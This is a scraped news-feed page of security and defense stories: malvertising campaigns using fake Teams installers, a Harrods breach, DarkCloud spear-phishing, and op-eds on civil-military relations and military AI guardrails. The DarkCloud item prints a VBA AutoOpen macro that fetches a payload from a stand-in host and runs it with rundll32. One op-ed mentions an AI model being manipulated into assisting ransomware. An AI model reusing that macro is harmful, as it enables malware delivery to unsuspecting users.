1010.cx

  • Lunar Spider Infected Windows Machine in Single Click and Harvested Login Credentials

    ·

    , ,

    A sophisticated cybercriminal group known as Lunar Spider successfully compromised a Windows machine through a single malicious click, establishing a foothold that allowed them to harvest credentials and maintain persistent access for nearly two months. The intrusion, which began in May 2024, demonstrates the evolving threat landscape where initial access can rapidly escalate to full […]

    The post Lunar Spider Infected Windows Machine in Single Click and Harvested Login Credentials appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Hackers Distribute Malicious Microsoft Teams Build to Steal Remote Access

    ·

    , ,

    Cybersecurity researchers have identified a sophisticated campaign where threat actors are using malicious advertisements and search engine optimization poisoning to distribute fake Microsoft Teams installers containing the Oyster backdoor malware. The campaign targets users searching for legitimate Microsoft Teams downloads through search engines. When users search for terms like “teams download,” they encounter fraudulent sponsored […]

    The post Hackers Distribute Malicious Microsoft Teams Build to Steal Remote Access appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Don’t let the ‘unequal dialogue’ become a partisan one

    ·

    Those who study civilian-military relations talk frequently about the unequal dialogue between America’s civilian and uniformed leaders. Civilian leaders sit atop the chain of command and have the final word on defense policy and strategy matters. In return, they have the responsibility to respect—in the sense of listen closely to, not defer to—the military advice of those in uniform. Without this respect, the dialogue ceases to be a conversation and becomes a series of partisan orders.

    Defense Secretary Pete Hegseth’s short-notice, no-explanation summoning of more than 800 general and flag officers from command positions around the world demonstrates a lack of respect for their time and their jobs. It suggests a concomitant lack of respect for their advice. 

    Perhaps this was unintentional, in which case Secretary Hegseth could apologize and cancel the meeting. Short of that, he could take the opportunity at Quantico to acknowledge and underscore the respect due to general and flag officers. 

    First, he should vow to respect the non-partisan nature of military service. General and flag officers have taken an oath to the support and defend the U.S. Constitution from their earliest days in uniform, and reaffirmed that oath with each subsequent promotion. Hegseth should cease and disavow any initiative to separate these officers from their oath, especially by inserting hints of partisanship into key actions such as promotions or intelligence reporting, 

    Second, the secretary should acknowledge the professionalism of general and flag officers, who have spent years acquiring expertise and assuming increased responsibility for recruiting, organizing, training, equipping, and employing the American military, in peace and war. They know their subordinates need to be ready to fight today and tomorrow, and do not need to be reminded of this fundamental responsibility. 

    Third, as a corollary, if senior civilians feel obligated to fire general and flag officers, they need to state the reason for the firing. The secretary has removed nearly a dozen general and flag officers over the past nine months without explanation. Many of those fired have been women or people of color. Absent an explanation, it seems these flag offers were fired for who they are rather than how they did their job. Such targeted actions will undermine trust between senior civilians and flag officers, and send a chilling message to these groups about whether or not leadership sees any value in their service.

    Finally, senior civilian leaders should show respect for general and flag officers as people. They are busy people doing critical work; their time should be appropriately respected and their efforts disrupted only when necessary. This is, or should be, basic to a leader of a large organization. 

    But what if the short-notice summons was intentionally disrespectful, an odd attempt to display dominance? This would indicate that the unequal dialogue has already begun to shift toward the partisan—and a fundamental change in civilian-military relations in the United States.

    How might such a shift manifest itself? You might see senior officers putting in for early retirement, thus removing themselves from any dialogue; choosing to keep quiet amid confused and confusing actions by civilian leaders; preemptively complying with implied, but not issued, orders; aggressively implementing the secretary’s agenda to demonstrate fealty to him; and publicly embracing partisanship for reasons ranging from strong personal support for the administration to hopes for further advancement. 

    Should such actions continue, they might add up to profound culture change in the general and flag officer corps—one shaped by partisanship rather than the Constitution. That would be catastrophic for the civilian-military dialogue, the military itself, and the country.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Shutdown could erode cyber defenses by sidelining critical staff, experts warn

    ·

    A shutdown would sideline federal cyber defenders just as a bedrock cybersecurity data-sharing law expires, leaving the government unusually vulnerable, cybersecurity experts warn.

    “The absence of security personnel working to protect the nation from these threats can create a security gap and an opportunity for malicious actors to exploit weaknesses,” said Ilona Cohen, chief legal and policy officer at HackerOne and former general counsel at the Office of Management and Budget.

    Cohen said infrastructure owners and operators would be less able to reach officials and data, and the government's cyber workforce would suffer if no funding bill is passed by Oct. 1.

    Only an estimated 889 of 2,540 employees would continue to work at the Cybersecurity and Infrastructure Security Agency, the nation’s main cyber defense office tasked with defending government networks, according to a planning document posted Saturday.

    Among them would be people confronting an emerging cyber threat group, believed linked to China, exploiting vulnerabilities in Cisco devices, Chris Butera, CISA’s acting deputy executive assistant director for cybersecurity, told reporters last week.

    There are risky domino effects of having a diminished federal cyber workforce, said one former U.S. official who requested anonymity because they weren’t authorized to publicly speak about the impact of a shutdown. Specifically, younger cyber staffers can’t learn from their more experienced peers because they will not be able to come into work.

    “They’re losing time to upskill, to get trained and to get on-the-job training because they’re not there. It hurts not only the current workforce but the future workforce as well,” the former official said.

    Gary Barlet, the public-sector chief technology officer at Illumio, echoed those concerns. 

    “This year, the challenge is sharper because agencies are already stretched thin,” Barlet told Nextgov/FCW in a written statement. “Many of the employees who guided past shutdowns aren’t there anymore, leaving fewer people who know how to manage through the disruption — exposing critical gaps and reducing the ability to respond quickly.”

    The 2015 Cybersecurity Information Sharing Act, which lets private-sector providers transmit cyber threat intelligence with government partners while receiving key legal protections, is also set to lapse on Tuesday evening unless renewed by Congress. 

    House appropriators earlier this month unveiled a temporary funding plan that would keep the law alive through Nov. 21 and fund the government until the same date. That would have given Congress simultaneous time to work out funding snags and reconcile any debate about changes needed for the cyber law that was first enacted 10 years ago. But that continuing resolution failed to pass in the Senate.

    The agreement etched between the public and private sectors for information-sharing is “really important,” Tim Brennan, the VP for technology policy and government relations at the Professional Services Council, told reporters Monday.

    “You’re going to get less information-sharing, which means delayed response times,” he said, adding that it would impact mission functions inside agencies like the Department of Homeland Security, which houses CISA.

    The liability coverage provided by the data-sharing law is critically important to the private sector because it makes companies more comfortable with transmitting cyber threat data, Morgan Adamski, the former executive director of U.S. Cyber Command, told Nextgov/FCW in an interview.

    “When you have a tool like CISA 2015 that’s valuable in contributing to information-sharing between the public sector and the private sector, why wouldn’t you want to have it in place to really encourage that collaboration?” added Adamski, now U.S. leader in PwC’s Cyber, Data & Technology Risk business.

    “Something has to be put in place to enable that collaboration, or you’re potentially going to see an impact on information sharing, which collectively hurts us from better understanding what’s happening in the cyberspace domain,” she said.

    On Monday, congressional Democrats said they were unable to reach an agreement with Republican counterparts and the White House, upping the odds of a shutdown occurring.

    Last week, OMB told agencies to consider issuing reduction notices to employees whose work is funded by regular appropriations and doesn’t align with President Donald Trump’s priorities if annual spending lapses Tuesday evening. The Office of Personnel Management issued new guidance Sunday, telling agencies that it can tweak those plans once the government reopens.

    Nextgov/FCW Staff Reporter Natalie Alms contributed to this report.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Military AI needs guardrails—not to slow it down, but to keep it useful

    ·

    As the Trump administration pushes to “aggressively adopt AI” in the military, there’s a recognition that some of the models may have protections or limitations that aren’t applicable in a military context. To be sure, some of these will need modification to suit the military’s mission. But there are many reasons that the military will want to have guardrails built in, for its own protection.

    Policymakers and AI labs should collaborate on how to adapt guardrails specifically for military uses. Some existing guardrails, like discouraging users from killing people, are inapplicable to military use where mission lethality is essential. But removing all guardrails without contextually appropriate replacements could have severe consequences. This is why the Trump administration's decision to move responsibility for AI under the R&D umbrella makes sense. It will allow for “going fast” to work out the kinks, while not “breaking things” in ongoing military operations.

    Some of the protections that need developing could focus on preventing external malicious actors from misusing AI, while others should focus on preventing authorized users from creating harm from within.

    As the former deputy assistant defense secretary for cyber policy, I've seen how aggressively external malicious cyber actors are trying to get into DOD and other systems. PRC cyber campaigns such as Volt Typhoon have found success in so-called “living off the land” techniques, wielding the stolen credentials of legitimate users for nefarious purposes. Using those techniques, malign actors could target AI systems already deployed inside the Department, but also the companies that are training and tailoring those systems, with the aim of altering their output. 

    It’s not just the malicious hackers who pose a danger in using these AI systems. In an organization as large as the military, the risk from human flaws, enabled by AI systems, become even greater. 

    Insider threats are nothing new to the military. But with growing concern over chatbots’ abilities to manipulate their users and—even unintentionally—lead them down “AI psychosis“ mental-health crises, these threats could grow in number or severity. 

    Imagine a disgruntled service member asking AI to develop plan to evade security protocols and sell classified data or leaders’ emails. While it took Edward Snowden years to develop deep knowledge of NSA systems, AI tools trained on network architectures and military systems could help even novices identify loopholes. Or imagine someone requesting help with ransomware campaigns—something Anthropic recently detected Claude was manipulated into doing—but operating from military infrastructure. Appropriate guardrails could help trip alarms when someone is doing something the military would want to prevent or prosecute.

    But what if the signs of AI misuse are immune from network forensics—and live entirely inside a user’s head? Imagine a service member who stands watch over the nation’s nuclear weapons, and who—via interactions with both personal and professional LLM tools—has stumbled into believing the world may in fact be a digital simulation. 

    Detecting mental-health risks from AI use is already a challenge in civilian contexts; guardrails for military contexts will be harder and of often of greater consequence. When should an AI system alert a user’s chain of command of a concerning line of inquiry? 

    There’s a distinction between the technical risk and vulnerability that exists in AI systems and the human behaviors and queries that need guidance and limitation. One could address the technical risks from outsiders by ensuring that AI systems are built and deployed in ways that take cybersecurity into account at the beginning instead of waiting for compromise and then patching. 

    Defining and determining “what right looks like” in responsible military use of AI systems will be a nuanced undertaking. Guardrails must match the wide variation of missions within the military from business systems to command and control. Often, the answers may not even be technical ones, but instead policy or behavioral. 

    To address these challenges, the Department should work with AI companies to develop models that can detect threats in real time—not just malicious queries, but patterns suggesting psychological manipulation or insider risk. We need to start discussing what kinds of queries or activities should be blocked, redirected (like OpenAI's “safe completions“), or requiring immediate command notification. This is why the Trump administration’s decision to move responsibility for AI to the research-and-engineering parts of the military is a prudent one.

    Developing such protections, values, and policies, consistent with the military’s values, should not be seen as hitting the brakes on AI adoption, but to keep it on track for success. The AI era has the opportunity to get off on the right foot, combining speed of deployment with safety and transparency of use.

    Mieke Eoyang is the former Deputy Assistant Secretary of Defense for Cyber Policy, and a former professional staff member on the House Permanent Select Committee on Intelligence. She is a non-resident senior fellow at the Carnegie Mellon Institute for Strategy and Technology. The views expressed are those of the author. 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Hackers Trick Users to Download Weaponized Microsoft Teams to Gain Remote Access

    ·

    , , ,

    A sophisticated cyber campaign is exploiting the trust users place in popular collaboration software, tricking them into downloading a weaponized version of Microsoft Teams to gain remote access to their systems.

    Threat actors are using search engine optimization (SEO) poisoning and malicious advertisements to lure unsuspecting victims to fraudulent download pages, a tactic that closely mirrors previous campaigns involving other trusted software.

    Blackpoint has identified a new wave of attacks where users searching for “Microsoft Teams download” are presented with malicious ads that redirect them to spoofed websites.

    One such domain, teams-install[.]top, has been observed impersonating the official Microsoft download portal, offering a malicious file named MSTeamsSetup.exe.

    To appear legitimate, these fake installers are often signed with untrustworthy digital certificates from issuers like “4th State Oy” and “NRM NETWORK RISK MANAGEMENT INC.”. This technique helps bypass basic security checks that flag unsigned software.

    Malicious domain
    Malicious domain

    Weaponized Microsoft Teams Delivers Oyster Backdoor

    Executing the fraudulent installer triggers a multi-stage attack that deploys a persistent backdoor known as Oyster, or Broomstick.

    The malware drops a malicious DLL file named CaptureService.dll into the %APPDATA%\\Roaming folder and establishes persistence by creating a scheduled task called CaptureService.

    This task is configured to run the DLL periodically, ensuring the backdoor remains active even after a system reboot and allowing it to blend in with normal Windows activity.

    The Oyster backdoor provides attackers with a strong foothold in the compromised network.

    It allows for remote access, collects system information, and establishes communication with command-and-control (C2) servers to exfiltrate data and receive further instructions or payloads.

    In this campaign, Oyster has been observed communicating with C2 domains such as nickbush24[.]com and techwisenetwork[.]com, Blackpoint analysis revealed.

    Attack Chain

    This campaign is not an isolated incident but part of a broader trend where cybercriminals weaponize well-known software brands to achieve initial access. The tactics are similar to previous campaigns that distributed fake installers for PuTTY, WinSCP, and Google Chrome.

    By leveraging malvertising and SEO poisoning, attackers can effectively target a wide audience, exploiting user trust in both search engines and popular enterprise tools.

    The use of the Oyster backdoor is particularly concerning, as it has been linked to ransomware operations like Rhysida, which have used it to infiltrate corporate networks.

    This strategy highlights a shift where threat actors are not just relying on phishing emails but are actively poisoning the software supply chain at the user-download level.

    The campaign is designed to bypass some traditional antivirus and endpoint detection and response (EDR) solutions, making it a stealthy and dangerous threat.

    To mitigate this risk, organizations and individuals are strongly advised to download software exclusively from official vendor websites.

    Using saved bookmarks for frequently accessed download pages is recommended over relying on search engine results, especially sponsored advertisements. Vigilance and user education remain critical lines of defense against these evolving social engineering tactics.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Hackers Trick Users to Download Weaponized Microsoft Teams to Gain Remote Access appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Harrods Data Breach Exposes 430,000 Customer Personal Records

    ·

    , , ,

    Luxury department store Harrods has disclosed a significant data breach affecting approximately 430,000 customer records after a third-party provider was compromised.

    The hackers behind the attack have contacted the retailer, but Harrods has stated it will not engage with the threat actor, suggesting a potential ransom demand was made.

    The breach, which Harrods first communicated to affected customers via email on Friday, September 26, 2025, originated from a security failure at an unnamed external supplier, not from Harrods’ internal systems.

    The company has emphasized that the compromised data is limited to basic personal identifiers and does not include highly sensitive information.

    Harrods Data Breach

    The stolen data primarily includes names and contact details that customers had provided. In some cases, information related to marketing preferences, loyalty program status, and affiliations with Harrods’ co-branded credit cards was also exposed.

    However, a company spokesperson noted that this marketing-related data is “unlikely to be interpreted accurately by an unauthorised third party”.

    Harrods has reassured its customers that no financial information, such as payment card details or account passwords, was accessed during the incident. The breach is understood to have affected a small proportion of the store’s total clientele, as the majority of Harrods customers shop in-store rather than online.

    In response to the incident, Harrods has proactively informed affected e-commerce customers and notified all relevant authorities, including the Information Commissioner’s Office (ICO), in compliance with UK GDPR regulations.

    A spokesperson stated, “Our focus remains on informing and supporting our customers. We have informed all relevant authorities and will continue to co-operate with them”.

    This security event is separate from a previous cyberattack attempt on Harrods’ internal systems in May 2025. That earlier incident, part of a wider series of attacks on UK retailers like M&S and Co-op, prompted Harrods to restrict internet access as a precaution but did not result in a data compromise at the time.

    The recent breach highlights a growing trend of cybercriminals targeting supply chain partners as a weaker link to access data from major corporations. Customers of Harrod’s online store are advised to be vigilant against potential phishing and social engineering attempts.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New Harrods Data Breach Exposes 430,000 Customer Personal Records appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • EvilAI Malware Masquerades as AI Tools to Infiltrate Global Organizations

    ·

    Threat actors have been observed using seemingly legitimate artificial intelligence (AI) tools and software to sneakily slip malware for future attacks on organizations worldwide. According to Trend Micro, the campaign is using productivity or AI-enhanced tools to deliver malware targeting various regions, including Europe, the Americas, and the Asia, Middle East, and Africa (AMEA) region.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The D Brief: Two mass shootings; Troops to Portland?; Trump to join Hegseth-brass confab; Arrested by ICE for “how they look”; And a bit more.

    ·

    Two Marine veterans killed seven people and wounded 13 others in separate mass shootings just hours apart in Michigan and North Carolina over the weekend. 

    A possible motive still eludes investigators in Grand Blanc, Michigan, where at about 10:30 a.m. ET Sunday an attacker drove his pickup truck—with two American flags raised in the bed—into a Mormon church before opening fire with an assault rifle and setting a portion of the building on fire, Police Chief William Renye told reporters Sunday. 

    The shooter was a 40-year-old former Marine sergeant who served from 2004 to 2008, with a year spent deployed to Iraq, according to the Detroit News. Police quickly responded, eventually shooting and killing the attacker in the church parking lot, but not before he had killed four people and wounded eight others.

    Notable: The Michigan shooter can be seen wearing a camouflage Trump 2020 campaign shirt that says “Make liberals cry again” in a 2019 photograph posted to Facebook USA Today reports. He’d also allegedly “signed two political petitions, one to repeal Gov. Gretchen Whitmer’s COVID mandates and one to outlaw abortion in the state,” local outlet Bridge Michigan reported Sunday. 

    The North Carolina attacker was also a 40-year-old former Marine sergeant who lived nearby and had been wounded while serving in Iraq. Using an assault rifle from his boat, he opened fire at a dockside bar in Southport, south of Wilmington, at about 9:30 p.m. local, killing three people and wounding at least five others. Whereas the Michigan shooter reportedly had no known police record and was awarded a Good Conduct medal while a Marine, the North Carolina shooter was known to police after filing several lawsuits this year against the Department of Veterans Affairs and the local county sheriff’s office. 

    Coast Guard officials arrested him while attempting to retrieve his boat from the water roughly 12 miles from the where the shooting occurred. He’s been charged with three counts of first-degree murder, five counts of attempted first-degree murder and five counts of assault with a deadly weapon, the New York Times reports. 

    A motive eludes investigators in Southport as well. However: “Injured in the line of duty is what he’s saying. He suffers from PTSD. We want to point those facts out,” Police Chief Todd Coring told reporters Sunday. Marine Corps officials say the shooter served from 2003 to 2009, including two deployments to Iraq. 

    The North Carolina shooting appears to have been indiscriminate, and “Sadly, a lot of the victims in this case appear to be not members of our community, but people who are here on vacation,” district attorney Jon David told the Times.

    Panning out: The U.S. has experienced at least 324 mass shootings in 2025, according to the Gun Violence Archive. The country experienced 503 mass shootings last year. 

    Welcome to this Monday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1941, the Nazis killed more than 33,000 Jewish people in Kyiv, modern-day Ukraine.

    More troops on American streets

    After sending U.S. troops to Los Angeles, Washington, and Memphis, President Donald Trump ordered 200 more National Guard troops to “war ravaged Portland,” according to a Saturday post on his own social media platform and confirmed Sunday by officials in Oregon. “At the request of Secretary of Homeland Security, Kristi Noem, I am directing Secretary of War, Pete Hegseth, to provide all necessary Troops to protect War ravaged Portland, and any of our ICE Facilities under siege from attack by Antifa, and other domestic terrorists,” the president wrote. 

    The order instructs the National Guard “to protect U.S. Immigration and Customs Enforcement and other U.S. Government personnel,” in what sounds similar to Trump’s order to send troops to Los Angeles. 

    “I am also authorizing Full Force, if necessary,” Trump noted in an unclear detail that raised additional alarm bells regarding rules of engagement, e.g., for civil-military observers in the U.S. 

    Trump’s order is set to last for 60 days, and came less than 20 hours after the Supreme Court let Trump to withhold $4 billion in foreign aid. NPR has more. 

    His announcement also prompted hundreds to protest outside the U.S. Immigration and Customs Enforcement building Sunday afternoon. “Chants and bucket drumming rang in the air during an afternoon demonstration that was raucous but largely free of confrontation,” Oregon Public Broadcasting reported on location. However, “More than a dozen counterprotesters attended the event, an increase from previous nights, and many clashed verbally with demonstrators.”

    Portland is not ravaged by war. Your D Brief-er visited the city and walked the streets with his children just a few weeks ago. There were occasional tents from encampments beneath a highway overpass here and there on the approach to downtown, but there was no “war” except those waged by self-published authors hawking their sci-fi and fantasy books to occasional unwitting pedestrians in the vicinity of Pioneer Courthouse Square—where protests flared five years ago amid nationwide protests against police brutality. 

    Trump: “They are attacking our ICE and federal buildings all the time,” the president told NBC News in a phone interview Sunday. “You know, this has been going on for a long time. This has been going on for years in Portland. It’s like a hotbed of insurrection,” he claimed. 

    Notable: ICE agents in Portland have been documented by the city’s police “instigating” confrontations with protesters, as the local Oregonian newspaper reported Thursday and updated after Trump’s announcement Saturday. 

    “This is not a military target,” Portland Mayor Keity Wilson said at a Saturday press conference. “This is an American city, we do not need any intervention.” 

    Portland city councilman: “To speak the language of federal agents, let me say this, here's your sit rep: Situation normal in Portland. We do not need assistance. We are OK,” said Councilor Eric Zimmerman after Trump’s announcement. 

    Oregon Gov. Tina Kotek: “Contrary to President Trump’s social media posts, Portland is not war-ravaged,” the Democratic governor said in a video posted to social media Sunday. “There is no insurrection. There is no threat to national security, and there is no need for military troops.”

    “Military service members should be dedicated to real emergencies,” she said. “And that’s exactly what I said to the president when I asked him to stand down from sending federal troops into our city. But just in case that phone call wasn’t enough, I thought I’d take to the streets myself right here in downtown Portland.” The rest of her video is a dispatch on location, which you can view here. 

    Other Portland residents have been posting photos showing how “war-ravaged” their city is. Democratic Sen. Ron Wyden has been drawing attention to some of these posts on his own social media account, here.

    New: Like California before it, the state of Oregon has sued the Trump administration for this troop deployment to Portland. As a judge ultimately decided for Los Angeles, Oregon alleges the National Guard order “violates the Posse Comitatus Act,” calls the “stated basis for federalizing…patently pretextual,” and claims Trump’s order “violate[s] the Tenth Amendment’s guarantee that the police power … resides with the states.” 

    Related reading:

    Around the Pentagon

    The president has decided to join Hegseth’s surprise gathering of brass tomorrow at Quantico, the Washington Post reported Sunday: “Trump’s appearance at Marine Corps Base Quantico in Virginia not only overshadows Hegseth’s planned address but adds new security concerns to the massive and nearly unprecedented military event, which has required some generals and admirals to travel thousands of miles. Trump cast the discussion largely as a pep talk.”

    Three sources familiar with the planning told CNN that Hegseth intends to underscore the “warrior ethos,” outline a new vision for the US military, and “discuss new readiness, fitness and grooming standards.” One defense official familiar with the planning said, “This is a showcase for Hegseth to tell them: get on board, or potentially have your career shortened.” More from CNN, here.

    The short-notice, unprecedented confab has drawn urgent questions from Capitol Hill: In a Saturday letter, Senate Armed Services Committee members Tammy Duckworth, D-Ill., and Mazie K. Hirono, D-Hawaii, asked Hegseth 19 questions, including: 

    • What is the estimated total cost of this gathering?
    • What accounts are being used to fund these costs?
    • Why was a secure virtual alternative not considered sufficient? 
    • Has the Department conducted a risk assessment of concentrating much of the operational chain of command in one location?  
    • Has this gathering disrupted any other scheduled operations, training or interagency coordination?  
    • Has any previous Secretary of Defense convened a similar gathering under comparable circumstances?  

    The letter ends: “We require a briefing or written response to answer these questions no later than Monday September 29, 2025.” Read over the rest of the queries (PDF) here. 

    Commentary from Mark Cancian, who posted at CSIS, and UCMJ expert Eugene Fidell, writing at Just Security.

    Around the world

    Trump’s $20B bailout for Argentina stirs anger in ‘America First’ camp. WaPo on Sunday: “The president’s customary allergy to using taxpayer money to help other nations makes the Argentine rescue especially noteworthy. Since taking office in January, Trump has slashed U.S. foreign aid programs, slow-walked military assistance for Ukraine and demanded that close allies like South Korea and Japan pay for a greater share of their defense.”

    And Politico on Thursday: “The fast-moving deal to help [Argentine President Javier] Milei, which is still being negotiated, underscores the extent to which the Trump administration is willing to go to help a political ally who has cultivated strong ties with the president and American conservatives in recent years.”

    And lastly today: South Korea to honor 11 military members who disobeyed illegal orders during last year’s attempted coup. Officials with the Ministry of National Defense announced last week that it will award government commendations to soldiers who “did not carry out illegal or unjust orders and upheld their duties as military personnel” when the country’s president attempted a coup last December. “We will do our best to become a military trusted by the public by continuously identifying and commending genuine soldiers who can resolutely reject illegal or unjust orders according to constitutional values and reject injustice,” the ministry said in a statement. The Chosun Daily has details, here.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Spear-Phishing Attack Delivers DarkCloud Malware to Steal Keystrokes, FTP Credentials and Others

    ·

    , ,

    A newly observed spear-phishing campaign is leveraging sophisticated social engineering lures to distribute DarkCloud, a modular malware suite designed to harvest keystrokes, exfiltrate FTP credentials and gather system information.

    Over the past month, targeted emails masquerading as legitimate software updates or corporate invoices have reached unsuspecting recipients across various industries.

    These messages carry a weaponized Microsoft Word attachment that, when opened, triggers a multi-stage infection chain.

    Initial reconnaissance indicates that threat actors behind the campaign have invested considerable effort into crafting believable messages, demonstrating a high level of operational security and tradecraft.

    Shortly after the victim enables macros in the document, a hidden Visual Basic for Applications (VBA) script executes, reaching out to a command-and-control (C2) server to download the next-stage payload.

    Phishing lure (Source – eSentire)

    This payload, the DarkCloud loader, is capable of unpacking additional modules directly into memory, evading disk-based detection and complicating forensic analysis.

    Analysts note that the loader checks for virtual machine artifacts and sandboxing environments, delaying execution or aborting if analysis tools are detected.

    eSentire researchers identified DarkCloud’s core keylogging component within hours of the campaign’s initial detection.

    They observed the malware injecting a dynamic-link library into common processes such as explorer.exe and svchost.exe, establishing hooks on keystroke APIs to capture user input.

    This approach ensures that every typed character—including credentials entered into web-based FTP clients—can be intercepted.

    The harvested data is then encrypted with a custom XOR-based algorithm and sent to the C2 infrastructure under the guise of legitimate HTTPS traffic, blending in with normal network flows.

    DarkCloud website marketed as legitimate software (Source – eSentire)

    Aside from credential theft, DarkCloud exhibits advanced reconnaissance capabilities. It gathers system information—such as running processes, installed software, and open network connections—and transmits this metadata back to the attackers.

    This enrichment allows the operators to tailor subsequent modules, such as a remote file exfiltration plugin or a screen-capture component, to the victim’s environment.

    Throughout the campaign, the threat actors pivot between modules to maximize data collection while minimizing forensic footprints.

    Infection Mechanism and Loader Dynamics

    The infection sequence begins with a lure document containing an obfuscated VBA macro. Upon activation, the macro executes the following sequence:-

    Sub AutoOpen()
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject("MSXML2.XMLHTTP")
    xmlHttp.Open "GET", "https://malicious.example.com/loader.bin", False
    xmlHttp.send
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    Dim tempPath As String
    tempPath = Environ("TEMP") & "\dcl.dll"
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write xmlHttp.responseBody
        .SaveToFile tempPath, 2
        .Close
    End With
    shell.Run "rundll32.exe " & tempPath & ",EntryPoint"
End Sub

    Once dcl.dll is loaded, it unpacks additional modules in memory. The loader uses a custom “chunked XOR” routine to decrypt embedded payloads, avoiding dropping executables on disk.

    This memory-resident design allows DarkCloud to maintain persistence via a registry run key, while its modular architecture supports on-demand deployment of new capabilities.

    By combining a convincing spear-phishing vector with a stealthy, in-memory loader and modular plugins, DarkCloud poses a significant threat to organizations that rely on FTP-based file transfers and unified endpoint protection solutions.

    Security teams should monitor abnormal HTTPS sessions to unknown hosts and employ behavioral analysis tools capable of detecting API hook injections. Continuous threat intelligence sharing and rapid incident response will be critical to mitigating DarkCloud’s evolving tactics.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New Spear-Phishing Attack Delivers DarkCloud Malware to Steal Keystrokes, FTP Credentials and Others appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶